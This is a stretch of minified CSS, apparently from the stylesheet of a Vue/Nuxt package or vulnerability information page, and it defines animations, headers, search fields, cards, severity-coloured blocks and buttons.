shake-vertical{0%,to{transform:translateY(0)}10%,30%,50%,70%{transform:translateY(-8px)}20%,40%,60%{transform:translateY(8px)}80%{transform:translateY(6.4px)}90%{transform:translateY(-6.4px)}}.shake-vertical-subtle{animation:shake-vertical-subtle .8s cubic-bezier(.455,.03,.515,.955) both}@keyframes shake-vertical-subtle{0%,to{transform:translateY(0)}10%,30%,50%,70%{transform:translateY(-2px)}20%,40%,60%{transform:translateY(2px)}80%{transform:translateY(1.6px)}90%{transform:translateY(-1.6px)}}.vue--site-header,[data-vue=site-header]{min-height:64px;background:linear-gradient(90deg,#7530a6 0,#461d9f 50%)}\n.nuxt-progress{position:fixed;top:0;left:0;right:0;height:2px;width:0;opacity:1;transition:width .1s,opacity .4s;background-color:#000;z-index:999999}.nuxt-progress.nuxt-progress-notransition{transition:none}.nuxt-progress-failed{background-color:red}\n.page[data-v-0fde60d6]{background:#fff}main[data-v-0fde60d6]{display:flex;flex-direction:column;min-height:calc(100vh - 145px)}\n.site-header .site-header__container[data-v-be91f9d4]{align-items:center;height:4rem;display:flex}.site-header .site-header__container .title-link[data-v-be91f9d4]{align-items:center;display:flex}.site-header .site-header__container .dropdown-links[data-v-be91f9d4]{display:none;margin-left:auto;color:#1c1c21}.site-header .site-header__container .dropdown-links li[data-v-be91f9d4]{line-height:2rem;min-width:11.25rem;padding:0 10px;color:#383f76}.site-header .site-header__container .dropdown-links li[data-v-be91f9d4] :hover{border-radius:6px;background:rgba(20,93,235,.1);text-decoration:none;font-weight:500}.site-header .site-header__link[data-v-be91f9d4],.site-header .site-header__link[data-v-be91f9d4]:hover{color:#1c1c21;display:none;margin-left:1em}@media only screen and (min-width:26.25em){.site-header .site-header__container .dropdown-links[data-v-be91f9d4],.site-header .site-header__link[data-v-be91f9d4],.site-header .site-header__link[data-v-be91f9d4]:hover{display:block}}\n.vue--layout-container[data-v-43af9ae8]{max-width:1440px;margin-left:auto;margin-right:auto;padding-left:20px;padding-right:20px}\na.vue--anchor[data-v-ce2707d6]{color:#4b45a1;cursor:pointer;text-decoration:none;transition:opacity .25s ease-in-out}a.vue--anchor[data-v-ce2707d6]:focus,a.vue--anchor[data-v-ce2707d6]:hover{color:#4b45a1;text-decoration:underline}a.vue--anchor--cta[data-v-ce2707d6]{color:#157575}a.vue--anchor--cta[data-v-ce2707d6]:focus,a.vue--anchor--cta[data-v-ce2707d6]:hover{color:#157575;text-decoration:underline}a.vue--anchor--inverted[data-v-ce2707d6]{color:#fff;opacity:.8;text-decoration:underline}a.vue--anchor--inverted[data-v-ce2707d6]:focus,a.vue--anchor--inverted[data-v-ce2707d6]:hover{color:#fff;opacity:1}a.vue--anchor--plain[data-v-ce2707d6],a.vue--anchor--plain[data-v-ce2707d6]:focus,a.vue--anchor--plain[data-v-ce2707d6]:hover{color:#555463;text-decoration:none}a.vue--anchor--disabled[data-v-ce2707d6]{cursor:default}a.vue--anchor--disabled[data-v-ce2707d6]:hover{text-decoration:none}.vue--anchor__external[data-v-ce2707d6]{line-height:1em;position:relative;top:-.25em;margin-left:4px}.vue--anchor__external[data-v-ce2707d6]  svg{height:.6em!important;width:.6em!important}.vue--anchor__offscreen[data-v-ce2707d6]{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}\n.vue--dropdown-menu[data-v-64b0d6bd]{position:relative}.vue--dropdown-menu__handle[data-v-64b0d6bd]{cursor:pointer}.vue--dropdown-menu__handle.focus-visible[data-v-64b0d6bd],.vue--dropdown-menu__handle[data-v-64b0d6bd]:focus-visible{outline:1px dotted rgba(75,69,161,.75)}.vue--dropdown-menu__menu[data-v-64b0d6bd]{background-color:#fff;border-radius:4px;box-shadow:0 0 17px 6px rgba(0,0,0,.06);display:none;position:absolute;z-index:5}.open .vue--dropdown-menu__menu[data-v-64b0d6bd]{display:inline-block}.vue--dropdown-menu__menu[data-v-64b0d6bd]:focus{background-color:#0c0}.vue--dropdown-menu__menu--secondary[data-v-64b0d6bd]{background:#faf9fa;border-top:1px solid #e4e3e8;border-radius:0 0 4px 4px}.vue--dropdown-menu__menu--primary[data-v-64b0d6bd],.vue--dropdown-menu__menu--secondary[data-v-64b0d6bd]{padding:16px 0}.vue--dropdown-menu--align-right[data-v-64b0d6bd]{justify-content:flex-end}.vue--dropdown-menu--extra-small[data-v-64b0d6bd]{font-size:.75rem}.vue--dropdown-menu--small[data-v-64b0d6bd]{font-size:.8125rem}\n.vue--dropdown-menu-link[data-v-3871f022]{list-style:none;margin:0;white-space:nowrap}.vue--dropdown-menu-link__link[data-v-3871f022]{display:block;padding:4px 24px}.vue--dropdown-menu-link__link[data-v-3871f022]:focus{outline:1px dotted #4b45a1}.vue--dropdown-menu-link--nested[data-v-3871f022]{padding-left:32px}\n.left[data-v-7007bdd0]{display:flex;flex-direction:column}.button-container[data-v-7007bdd0]{align-self:center;margin-bottom:64px}.right[data-v-7007bdd0]{top:-32px}.grid-wrapper[data-v-7007bdd0]{display:grid;grid-template-columns:repeat(12,[col-start] 1fr);position:relative}.grid-wrapper .vulns-error[data-v-7007bdd0]{margin:24px 0}.grid-wrapper .left[data-v-7007bdd0]{grid-column:col-start/span 7;grid-row:1;min-width:0}.grid-wrapper .right[data-v-7007bdd0]{grid-column:col-start 9/span 4;grid-row:1;position:relative}@media screen and (max-width:720px){.grid-wrapper .left[data-v-7007bdd0]{grid-column:col-start/span 12;grid-row:1;margin-right:unset}.grid-wrapper .right[data-v-7007bdd0]{grid-column:col-start/span 12;grid-row:2;margin-bottom:32px;position:relative;top:unset}}\n.package-heading[data-v-78b4d265]{background-color:#f6fafd}.package-heading .title[data-v-78b4d265]{padding-top:12px;word-break:break-all}.package-heading[data-v-78b4d265]  h2.description{font-size:1.125rem;margin-top:24px;padding-bottom:64px}\n.breadcrumbs-with-search[data-v-c193da48]{background-color:#f6fafd;display:grid;grid-template-columns:repeat(12,[col-start] 1fr);position:relative;padding-top:24px;word-break:break-all}.breadcrumbs-with-search .left[data-v-c193da48]{grid-column:col-start/span 8;grid-row:1;margin-right:78px;max-width:800px}.breadcrumbs-with-search .right[data-v-c193da48]{grid-column:col-start 9/span 4;grid-row:1;position:relative}@media screen and (max-width:720px){.breadcrumbs-with-search[data-v-c193da48]{padding:0}.breadcrumbs-with-search .left[data-v-c193da48]{grid-column:col-start/span 12;grid-row:2;margin-right:unset;padding:16px 20px}.breadcrumbs-with-search .right[data-v-c193da48]{grid-column:col-start/span 12;grid-row:1;background:#fff;padding:16px 20px}}\n.vue--breadcrumbs[data-v-4b4b4f2c]{font-size:15px}.vue--breadcrumbs__list[data-v-4b4b4f2c]{display:block;margin:0;padding:0}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]{display:inline-block;list-style-type:none;margin:0}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]:after{content:\"›\";margin:0 8px 0 4px}.vue--breadcrumbs__list-item[data-v-4b4b4f2c]:last-child:after{display:none}\n.warningText[data-v-4dbb44d0]{padding-left:12px;padding-top:4px;color:#9f271e;font-size:12px;margin:0}\n.vue--search-input[data-v-e38673ba]{position:relative}.vue--search-input__field[data-v-e38673ba]{-webkit-appearance:none;background-color:#fff;border:none;border-radius:2px;display:inline-block;line-height:1.75rem;width:100%;box-shadow:inset 0 0 0 1px #d3d3d9;transition:box-shadow .2s ease;padding:8px 46px 8px 42px}.vue--search-input__field[data-v-e38673ba]::-moz-placeholder{color:#727184}.vue--search-input__field[data-v-e38673ba]:-ms-input-placeholder{color:#727184}.vue--search-input__field[data-v-e38673ba]::placeholder{color:#727184}.vue--search-input__field.focus[data-v-e38673ba],.vue--search-input__field.hover[data-v-e38673ba],.vue--search-input__field[data-v-e38673ba]:focus,.vue--search-input__field[data-v-e38673ba]:hover{box-shadow:inset 0 0 0 1px #4b45a1}.vue--search-input__field[data-v-e38673ba]::-webkit-search-cancel-button,.vue--search-input__field[data-v-e38673ba]::-webkit-search-decoration{display:none}.vue--search-input__field[data-v-e38673ba]:disabled,.vue--search-input__field[disabled][data-v-e38673ba]{background-color:#f4f4f6;box-shadow:inset 0 0 0 1px #d3d3d9;border:none;cursor:no-drop;color:#727184;opacity:1}.vue--search-input__search-icon[data-v-e38673ba]{transition:box-shadow .2s ease;position:absolute;left:12px;color:#393842;top:10px}.vue--search-input__search-icon[data-v-e38673ba]  svg{height:26px;width:26px}.vue--search-input__close-icon[data-v-e38673ba]{position:absolute;right:12px;color:#b3b2bd;cursor:pointer;display:none;top:12px}.vue--search-input__close-icon[data-v-e38673ba]  svg{height:21px;width:21px}.vue--search-input__close-icon--show[data-v-e38673ba]{display:block}.vue--search-input--focused .vue--search-input__search-icon[data-v-e38673ba]{color:#4b45a1}.vue--search-input--small .vue--search-input__field[data-v-e38673ba]{line-height:1.375rem}.vue--search-input--small .vue--search-input__close-icon[data-v-e38673ba],.vue--search-input--small .vue--search-input__search-icon[data-v-e38673ba]{top:9px}.vue--search-input--small .vue--search-input__close-icon[data-v-e38673ba]  svg,.vue--search-input--small .vue--search-input__search-icon[data-v-e38673ba]  svg{height:18px;width:18px}.vue--search-input--disabled .vue--search-input__search-icon[data-v-e38673ba]{opacity:.5}\n.vue--heading[data-v-8dd2f746]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500;color:#1c1c21;font-feature-settings:\"pnum\"}.vue--heading--regular[data-v-8dd2f746]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:400}h1.vue--heading[data-v-8dd2f746]{font-size:1.5rem;line-height:1.875rem}h1.vue--heading[data-v-8dd2f746]  svg{height:1.875rem;width:1.875rem}@media only screen and (min-width:45em){h1.vue--heading[data-v-8dd2f746]{font-size:2rem;line-height:2.5rem}h1.vue--heading[data-v-8dd2f746]  svg{height:2.5rem;width:2.5rem}}h2.vue--heading[data-v-8dd2f746]{font-size:1.125rem;line-height:1.5rem}h2.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}@media only screen and (min-width:45em){h2.vue--heading[data-v-8dd2f746]{font-size:1.5rem;line-height:2rem}h2.vue--heading[data-v-8dd2f746]  svg{height:2rem;width:2rem}}h3.vue--heading[data-v-8dd2f746]{font-size:.9375rem;line-height:1.5rem}h3.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}@media only screen and (min-width:45em){h3.vue--heading[data-v-8dd2f746]{font-size:1.125rem;line-height:1.625rem}h3.vue--heading[data-v-8dd2f746]  svg{height:1.625rem;width:1.625rem}}h4.vue--heading[data-v-8dd2f746]{font-size:.8125rem;line-height:1.3125rem}h4.vue--heading[data-v-8dd2f746]  svg{height:1.3125rem;width:1.3125rem}@media only screen and (min-width:45em){h4.vue--heading[data-v-8dd2f746]{font-size:.9375rem;line-height:1.5rem}h4.vue--heading[data-v-8dd2f746]  svg{height:1.5rem;width:1.5rem}}\n.single-license[data-v-4d26b709]{list-style-type:none;padding-left:0}\n.details-box__body[data-v-50201d1d]{padding:24px;font-size:.9375rem}.details-box__body ul[data-v-50201d1d]{padding-left:0;list-style:none}.details-box__body .data-list-items.collapse[data-v-50201d1d]{border-top:1px solid #e4e3e8;margin-bottom:-space(s);margin-top:-space(s)}.details-box__body .data-list-items.collapse .see-all[data-v-50201d1d]{color:#461d9e;line-height:20px;padding:16px 0}\n.vue--card[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#faf9fa;display:flex;flex-direction:column;justify-content:flex-start}.vue--card:not(.vue--card--legacy)+.vue--card[data-v-d6f7b9fc]{margin-top:24px}.vue--card:not(.vue--card--legacy) a .vue--card[data-v-d6f7b9fc]:focus,.vue--card:not(.vue--card--legacy) a .vue--card[data-v-d6f7b9fc]:hover{cursor:pointer}.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]{color:#555463;display:block;padding:16px 24px 12px;width:100%}.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]:focus,.vue--card:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]:hover{text-decoration:none}.vue--card:not(.vue--card--legacy) .vue--card__anchor:focus .vue--card__anchor-icon[data-v-d6f7b9fc],.vue--card:not(.vue--card--legacy) .vue--card__anchor:hover .vue--card__anchor-icon[data-v-d6f7b9fc]{opacity:1}.vue--card:not(.vue--card--legacy) .vue--card__anchor-icon[data-v-d6f7b9fc]{color:#d3d3d9;opacity:0;transition:opacity .2s ease-in-out}.vue--card:not(.vue--card--legacy) .vue--card__anchor-icon[data-v-d6f7b9fc]  svg{height:20px;width:20px}.vue--card:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]{align-items:center;background-color:#fff;border-radius:4px 4px 0 0;display:flex;justify-content:space-between;position:relative}.vue--card:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{position:relative;top:-1px;margin-right:4px}.vue--card:not(.vue--card--legacy) .vue--card__header h2[data-v-d6f7b9fc]{font-size:1.125rem;font-weight:500}.vue--card:not(.vue--card--legacy) .vue--card__note[data-v-d6f7b9fc]{font-size:.8125rem}.vue--card:not(.vue--card--legacy) .vue--card__intro[data-v-d6f7b9fc]{background-color:#fff;padding:0 24px 12px}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{border-top:1px solid #d3d3d9;height:100%;padding:24px;position:relative}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]:first-child{border-top:none}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]>:first-child{margin-top:0}.vue--card:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]>:last-child{margin-bottom:0}.vue--card:not(.vue--card--legacy) .vue--card__body+.vue--card__alert[data-v-d6f7b9fc]{border-top:none}.vue--card:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc]{font-style:italic;align-items:center;background-color:#fff;border-radius:0 0 4px 4px;border-top:1px solid #d3d3d9;color:#727184;font-size:.8125rem;margin-top:auto;padding:16px 24px}.vue--card:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{display:flex;justify-content:flex-end;align-items:center;background-color:#fff;border-radius:0 0 4px 4px;border-top:1px solid #d3d3d9;margin-top:auto;padding:12px 24px}.vue--card:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{margin-top:0}.vue--card--no-padding:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{padding:0}.vue--card--condensed:not(.vue--card--legacy) .vue--card__anchor[data-v-d6f7b9fc]{padding:12px 12px 10px}.vue--card--condensed:not(.vue--card--legacy) .vue--card__intro[data-v-d6f7b9fc]{padding:0 12px 8px}.vue--card--condensed:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc],.vue--card--condensed:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--condensed:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{padding:12px}.vue--card--warning[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#fbf2e7}.vue--card--warning:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#da7a0b}.vue--card--warning:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#fbf2e7;border-top-color:#e9af6d}.vue--card--warning:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--warning:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#e9af6d}.vue--card--warning:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--danger[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#f8e8e8}.vue--card--danger:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#b81414}.vue--card--danger:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#f8e8e8;border-top-color:#e3a1a1}.vue--card--danger:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--danger:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#e3a1a1}.vue--card--danger:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--cta[data-v-d6f7b9fc]:not(.vue--card--legacy),.vue--card--success[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#e8f1f1}.vue--card--cta:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg,.vue--card--success:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#157575}.vue--card--cta:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#e8f1f1;border-top-color:#a1c8c8}.vue--card--cta:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--cta:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#a1c8c8}.vue--card--cta:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc],.vue--card--success:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--info[data-v-d6f7b9fc]:not(.vue--card--legacy){background-color:#edecf6}.vue--card--info:not(.vue--card--legacy) .vue--card__header[data-v-d6f7b9fc]  svg{color:#4b45a1}.vue--card--info:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#edecf6;border-top-color:#938fc7}.vue--card--info:not(.vue--card--legacy) .vue--card__footer[data-v-d6f7b9fc],.vue--card--info:not(.vue--card--legacy) .vue--card__form-actions[data-v-d6f7b9fc]{border-color:#938fc7}.vue--card--info:not(.vue--card--legacy) .vue--card__form-actions+.vue--card__footer[data-v-d6f7b9fc]{border-color:#d3d3d9}.vue--card--legacy[data-v-d6f7b9fc],.vue--card--white[data-v-d6f7b9fc]:not(.vue--card--legacy),.vue--card--white:not(.vue--card--legacy) .vue--card__body[data-v-d6f7b9fc]{background-color:#fff}.vue--card--legacy[data-v-d6f7b9fc]{border-radius:2px;padding:12px}.vue--card--legacy[data-v-d6f7b9fc]:not(.vue--card--danger){box-shadow:inset 0 0 0 1px #e5e8ed}.vue--card--legacy.vue--card--success[data-v-d6f7b9fc]{background-color:rgba(125,204,204,.45);border:1px solid rgba(33,92,92,.31)}.vue--card--legacy.vue--card--info[data-v-d6f7b9fc]{background-color:#edecf6;border:1px solid #938fc6}.vue--card--legacy+.vue--card[data-v-d6f7b9fc]{margin-top:16px}.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]{color:#555463;position:relative}.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]:focus,.vue--card--legacy .vue--card__anchor[data-v-d6f7b9fc]:hover{text-decoration:none}.vue--card--legacy .vue--card__anchor:focus[href][data-v-d6f7b9fc]:after,.vue--card--legacy .vue--card__anchor:hover[href][data-v-d6f7b9fc]:after{opacity:1}.vue--card--legacy .vue--card__anchor[href][data-v-d6f7b9fc]:after{background-color:#d3d3d9;content:\"#\";display:block;height:24px;left:-36px;line-height:24px;opacity:0;position:absolute;top:0;transition:opacity .2s ease-in-out;width:24px;text-align:center}.vue--card--legacy .vue--card__anchor-icon[data-v-d6f7b9fc]{display:none}.vue--card--legacy .vue--card__header[data-v-d6f7b9fc]{border-bottom:1px solid #d3d3d9;margin-bottom:16px;display:flex;justify-content:space-between}.vue--card--legacy .vue--card__header h2[data-v-d6f7b9fc]{font-size:1.125rem;font-weight:500;margin:0 0 8px -12px;padding-left:12px}.vue--card--legacy .vue--card__header--note[data-v-d6f7b9fc]{font-size:.8125rem;margin:0}.vue--card--legacy .vue--card__intro[data-v-d6f7b9fc]{margin-bottom:24px}.vue--card--legacy .vue--card__body[data-v-d6f7b9fc]>:first-child{margin-top:0}.vue--card--legacy .vue--card__body[data-v-d6f7b9fc]>:last-child{margin-bottom:0}.vue--card--legacy .vue--card__alert[data-v-d6f7b9fc]{margin-bottom:12px}.vue--card--legacy .vue--card__footer[data-v-d6f7b9fc]{font-style:italic;color:#727184;border-top:1px solid #d3d3d9;font-size:.8125rem;margin-top:16px;padding-top:12px}\n.vue--block[data-v-3645d675]{background-color:#fff;box-shadow:inset 0 0 0 1px #d3d3d9;border-radius:2px;padding:1px}.vue--block--instruction[data-v-3645d675]{background-color:#f6fafd;box-shadow:inset 0 0 0 1px #cce0f5,0 0 0 2px transparent}.vue--block--danger[data-v-3645d675]{background-color:#f8e8e8;box-shadow:inset 0 0 0 1px #e3a1a1,0 0 0 2px transparent}.vue--block--success[data-v-3645d675]{background-color:#e8f1f1;box-shadow:inset 0 0 0 1px #a1c8c8,0 0 0 2px transparent}.vue--block--warning[data-v-3645d675]{background-color:#fbf2e7;box-shadow:inset 0 0 0 1px #e9af6d,0 0 0 2px transparent}.vue--block--info[data-v-3645d675]{background-color:#edecf6;box-shadow:inset 0 0 0 1px #938fc7,0 0 0 2px transparent}.vue--block--severity-critical[data-v-3645d675],.vue--block--severity-high[data-v-3645d675]{box-shadow:inset 0 0 0 1px #cc4f19,0 0 0 2px transparent}.vue--block--severity-medium[data-v-3645d675]{box-shadow:inset 0 0 0 1px #d68100,0 0 0 2px transparent}.vue--block--severity-low[data-v-3645d675]{box-shadow:inset 0 0 0 1px #86859d,0 0 0 2px transparent}\n.data-list-item[data-v-39159965]{list-style-type:none;padding:16px 0}.data-list-item[data-v-39159965]:not(:last-child){border-bottom:1px solid #e4e3e8}.data-list-item[data-v-39159965]:first-child{padding-top:0}.data-list-item .item-tooltip[data-v-39159965]{float:right;color:#938fc7;margin-right:4px}.data-list-item h3[data-v-39159965]{font-weight:400}.data-list-item p[data-v-39159965]{color:#555463;word-wrap:anywhere}.data-list-item .div-margin-top[data-v-39159965]{margin-top:12px}\n.vue--all-caps[data-v-56a8aa57]{font-family:roboto,\"Gill Sans\",\"Calibri\",sans-serif;font-style:normal;font-weight:500;display:block;font-size:.8125rem;line-height:1rem;letter-spacing:1.5px;text-transform:uppercase;color:#727184;font-feature-settings:\"pnum\"}.vue--all-caps--small[data-v-56a8aa57]{font-size:.75rem}\n.container[data-v-4adf8f36]{padding-bottom:8px}.container .label[data-v-4adf8f36],.container .license[data-v-4adf8f36],.container .versions[data-v-4adf8f36]{display:inline}\n.base-buttons[data-v-361c2e3a]{margin-top:12px}.base-buttons .base-button[data-v-361c2e3a]{margin:24px 12px 0 0}\n.vue--button[data-v-94138f12]{border:2px solid transparent;border-radius:4px;cursor:pointer;display:inline-block;height:2.375rem;line-height:2;padding:0 17px;transition:background-color .2s ease,color .2s ease,border-color .2s ease,box-shadow .2s ease;transform:scale(1.001);white-space:nowrap}.vue--button+.vue--button[data-v-94138f12]{margin-left:12px}.vue--button.hover[data-v-94138f12],.vue--button[data-v-94138f12]:hover{text-decoration:none}.vue--button .material-design-icon[data-v-94138f12]{position:relative;left:-6px;right:0;top:-2px}.vue--button .vue--badge[data-v-94138f12],.vue--button .vue--label[data-v-94138f12]{position:relative;right:-4px;margin-top:-1px}.vue--button[disabled][data-v-94138f12]{cursor:no-drop;opacity:.6}.vue--button[disabled][data-v-94138f12]:not(.vue--button--ghost){background-color:#d3d3d9;color:#393842}.vue--button[disabled].vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#d3d3d9;color:#727184}.vue--button--ghost[data-v-94138f12]{border-width:1px;padding:0 18px}.vue--button--ghost.focus[data-v-94138f12],.vue--button--ghost[data-v-94138f12]:focus{padding:0 17px}.vue--button--ghost.vue--button--extra-large.focus[data-v-94138f12],.vue--button--ghost.vue--button--extra-large[data-v-94138f12]:focus,.vue--button--ghost.vue--button--large.focus[data-v-94138f12],.vue--button--ghost.vue--button--large[data-v-94138f12]:focus{padding:0 23px}.vue--button--ghost.vue--button--small.focus[data-v-94138f12],.vue--button--ghost.vue--button--small[data-v-94138f12]:focus{padding:0 11px}.vue--button--ghost.vue--button--basic.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic[data-v-94138f12]:focus{box-shadow:none;padding:0 18px}.vue--button--ghost.vue--button--basic.vue--button--extra-large.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--extra-large[data-v-94138f12]:focus,.vue--button--ghost.vue--button--basic.vue--button--large.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--large[data-v-94138f12]:focus{padding:0 24px}.vue--button--ghost.vue--button--basic.vue--button--small.focus[data-v-94138f12],.vue--button--ghost.vue--button--basic.vue--button--small[data-v-94138f12]:focus{padding:0 12px}.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#157575;color:#fff}.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#fff}.vue--button--cta:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--cta:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#188b8b;background-color:#188b8b}.vue--button--cta:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--cta[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#157575;color:#157575}.vue--button--cta:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#157575}.vue--button--cta:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#188b8b;border-color:#188b8b;color:#fff}.vue--button--cta:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#fff}.vue--button--cta:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--cta:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#b81414;color:#fff}.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#fff}.vue--button--danger:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--danger:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#cf1717;background-color:#cf1717}.vue--button--danger:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--danger[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#b81414;color:#b81414}.vue--button--danger:not([disabled]).vue--button--ghost svg[data-v-94138f12]{fill:#b81414}.vue--button--danger:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost.hover[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:focus,.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:hover{background-color:#cf1717;border-color:#cf1717;color:#fff}.vue--button--danger:not([disabled]).vue--button--ghost.focus svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost.hover svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost:focus svg[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost:hover svg[data-v-94138f12]{fill:#fff}.vue--button--danger:not([disabled]).vue--button--ghost.focus[data-v-94138f12],.vue--button--danger:not([disabled]).vue--button--ghost[data-v-94138f12]:focus{border-width:2px;box-shadow:inset 0 0 0 1px #fff;outline:none}.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost){background-color:#fff;color:#393842}.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost)  svg{fill:#393842}.vue--button--inverted:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--inverted:not([disabled]):not(.vue--button--ghost).hover[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus,.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):hover{border-color:#fff;background-color:#fff}.vue--button--inverted:not([disabled]):not(.vue--button--ghost).focus[data-v-94138f12],.vue--button--inverted[data-v-94138f12]:not([disabled]):not(.vue--button--ghost):focus{box-shadow:inset 0 0 0 1px #393842;outline:none}.vue--button--inverted:not([disabled]).vue--button--ghost[data-v-94138f12]{background-color:transparent;border-color:#fff;color:#fff}.vue--button--inverted:not([disabled]).vue--button--ghost 